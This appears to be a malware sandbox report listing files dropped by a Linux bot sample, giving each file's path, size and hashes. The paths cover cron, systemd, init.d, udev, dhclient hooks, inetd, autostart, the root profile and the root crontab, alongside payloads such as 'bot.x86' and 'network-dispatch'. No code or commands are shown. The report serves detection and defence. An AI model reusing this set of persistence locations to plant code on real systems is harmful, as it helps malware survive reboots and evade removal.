                                                                                                                                                                                          • SHA256 776d1761eae08b8cfc6e2a8e8699b9f4d03612652dccdce1945faeb689bfeafb
                                                                                                                                                                                          • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                          Submit Download

                                                                                                                                                                                          99-net
                                                                                                                                                                                          • Path /etc/apt/apt.conf.d/99-net
                                                                                                                                                                                          • Size 106B
                                                                                                                                                                                          • SHA256 1b1231ac2da301495d86a53afc51256f9bb669db34eb313681f4d6f6c3999fff
                                                                                                                                                                                          • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                          Submit Download

                                                                                                                                                                                          network-dispatch
                                                                                                                                                                                          • Path /etc/cron.hourly/network-dispatch
                                                                                                                                                                                          • Size 153B
                                                                                                                                                                                          • SHA256 e697cfb597843583c2ba1fead9bb44cd19a77964d1d80e4b5a654cf5b7716049
                                                                                                                                                                                          • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                          Submit Download

                                                                                                                                                                                          net
                                                                                                                                                                                          • Path /etc/dhcp/dhclient-exit-hooks.d/net
                                                                                                                                                                                          • Size 155B
                                                                                                                                                                                          • SHA256 060d71aff2e29495b1504502181fcafc057a357e1eea08bcf577139fb856eda7
                                                                                                                                                                                          • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                          Submit Download

                                                                                                                                                                                          network-dispatch
                                                                                                                                                                                          • Path /etc/dinit.d/network-dispatch
                                                                                                                                                                                          • Size 113B
                                                                                                                                                                                          • SHA256 4b7155af80fe3e49f510c8f6eae1ece9fe0e8ef049a0f03e3e6541e4279dc094
                                                                                                                                                                                          • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                          Submit Download

                                                                                                                                                                                          inetd.conf
                                                                                                                                                                                          • Path /etc/inetd.conf
                                                                                                                                                                                          • Size 94B
                                                                                                                                                                                          • SHA256 57fae5c95bbd8f5a4d0b1bb7a8dbc013da6af6719109b42e76fcd76c78714e91
                                                                                                                                                                                          • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                          Submit Download

                                                                                                                                                                                          network-dispatch
                                                                                                                                                                                          • Path /etc/init.d/network-dispatch
                                                                                                                                                                                          • Size 212B
                                                                                                                                                                                          • SHA256 0a37c1a8d049918041b5ce44091ff75ff30399afde95f3ed5f3d1c4f9ae6340d
                                                                                                                                                                                          • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                          Submit Download

                                                                                                                                                                                          network-dispatch
                                                                                                                                                                                          • Path /etc/init.d/network-dispatch
                                                                                                                                                                                          • Size 162B
                                                                                                                                                                                          • SHA256 b4b2f8b02d369f1e66c96ed4f829ad1ce9338ef5e0b34c3e9de4943fe97fcd2a
                                                                                                                                                                                          • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                          Submit Download

                                                                                                                                                                                          network-dispatch.start
                                                                                                                                                                                          • Path /etc/local.d/network-dispatch.start
                                                                                                                                                                                          • Size 88B
                                                                                                                                                                                          • SHA256 6c9c89370a346bffd0fb49fbacd5e6cc0419ccbea43fe3640494dc9163fb3f86
                                                                                                                                                                                          • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                          Submit Download

                                                                                                                                                                                          keeprc.conf
                                                                                                                                                                                          • Path /etc/opkg/keeprc.conf
                                                                                                                                                                                          • Size 54B
                                                                                                                                                                                          • SHA256 7cf39b594679820bedec1cbb2aca992ae9e02106ae2e2b7db2036355e6644c0d
                                                                                                                                                                                          • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                          Submit Download

                                                                                                                                                                                          network-dispatch-gen
                                                                                                                                                                                          • Path /etc/systemd/system-generators/network-dispatch-gen
                                                                                                                                                                                          • Size 387B
                                                                                                                                                                                          • SHA256 8ba6bf8e42767ace35afdc90bcdeeec40343e05a662c1b1d21217190806ec325
                                                                                                                                                                                          • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                          Submit Download

                                                                                                                                                                                          network-dispatch.service
                                                                                                                                                                                          • Path /etc/systemd/system/network-dispatch.service
                                                                                                                                                                                          • Size 228B
                                                                                                                                                                                          • SHA256 f0a4522d9cacf37bc711ef07c7a07d2627ac3fb2a25e13e1695db14896da415e
                                                                                                                                                                                          • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                          Submit Download

                                                                                                                                                                                          99-network-dispatch.rules
                                                                                                                                                                                          • Path /etc/udev/rules.d/99-network-dispatch.rules
                                                                                                                                                                                          • Size 144B
                                                                                                                                                                                          • SHA256 42a9eef129fbeeaca0319f9309d96f1395b8fb80f3b50bec77550acf10d4b376
                                                                                                                                                                                          • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                          Submit Download

                                                                                                                                                                                          network-dispatch.desktop
                                                                                                                                                                                          • Path /etc/xdg/autostart/network-dispatch.desktop
                                                                                                                                                                                          • Size 150B
                                                                                                                                                                                          • SHA256 9e4b415925f30fa0dc525855d2269f7a90d712714ba5ec64b4cdd9e628a517b6
                                                                                                                                                                                          • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                          Submit Download

                                                                                                                                                                                          .bash_profile
                                                                                                                                                                                          • Path /root/.bash_profile
                                                                                                                                                                                          • Size 95B
                                                                                                                                                                                          • SHA256 e89e5301a59ce3fb142a5e91407aa628339ca08123fb850acfea056ee059db91
                                                                                                                                                                                          • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                          Submit Download

                                                                                                                                                                                          network-dispatch.service
                                                                                                                                                                                          • Path /root/.config/systemd/user/network-dispatch.service
                                                                                                                                                                                          • Size 152B
                                                                                                                                                                                          • SHA256 8493e90ac274688355fba972b6898b69fa003b1c742ad77b026a3518fbbea18d
                                                                                                                                                                                          • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                          Submit Download

                                                                                                                                                                                          WTF
                                                                                                                                                                                          • Path /tmp/WTF
                                                                                                                                                                                          • Size 1.1MB
                                                                                                                                                                                          • SHA256 fd78a811e383f0432e35820902307068a63d4dacaf852e20baad04a9fc9fbc6c
                                                                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                          Submit Download

                                                                                                                                                                                          WTF
                                                                                                                                                                                          • Path /tmp/WTF
                                                                                                                                                                                          • Size 1.3MB
                                                                                                                                                                                          • SHA256 c9c8606a8059bb15e10dd9a1bbf613dbc53ebb7d10f48560ed594db927f1f8f3
                                                                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                          Submit Download

                                                                                                                                                                                          bot.x86
                                                                                                                                                                                          • Path /tmp/bot.x86
                                                                                                                                                                                          • Size 275B
                                                                                                                                                                                          • SHA256 895545d74b34f9e7b21218046d275d998e04db5bd167b77308f18f3c3845fa25
                                                                                                                                                                                          • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                          Submit Download

                                                                                                                                                                                          busybox
                                                                                                                                                                                          • Path /tmp/busybox
                                                                                                                                                                                          • Size 507KB
                                                                                                                                                                                          • SHA256 2dd1fbb8052a89f40c2e9af115d31346e554ee746e9c7a97d651e43e0609df88
                                                                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                          Submit Download

                                                                                                                                                                                          network-dispatch
                                                                                                                                                                                          • Path /usr/local/bin/network-dispatch
                                                                                                                                                                                          • Size 934KB
                                                                                                                                                                                          • SHA256 cbc16099286916817265a13929b5ac638052a82ed2013e0f6768d63620cfa151
                                                                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                          Submit Download

                                                                                                                                                                                          watchdog-net
                                                                                                                                                                                          • Path /usr/local/bin/watchdog-net
                                                                                                                                                                                          • Size 186B
                                                                                                                                                                                          • SHA256 39524eda228aa5586b775c3fa9b2b3a5b4e114ae0cf1e3f284fb5d0a2a87a8e5
                                                                                                                                                                                          • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                          Submit Download

                                                                                                                                                                                          root
                                                                                                                                                                                          • Path /var/spool/cron/crontabs/root
                                                                                                                                                                                          • Size 126B
                                                                                                                                                                                          • SHA256 84512cb49c634de2560f05a51fd68808c610dd6af6c4adccb5e5b022f1006e7a
                                                                                                                                                                                          • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                          Submit Download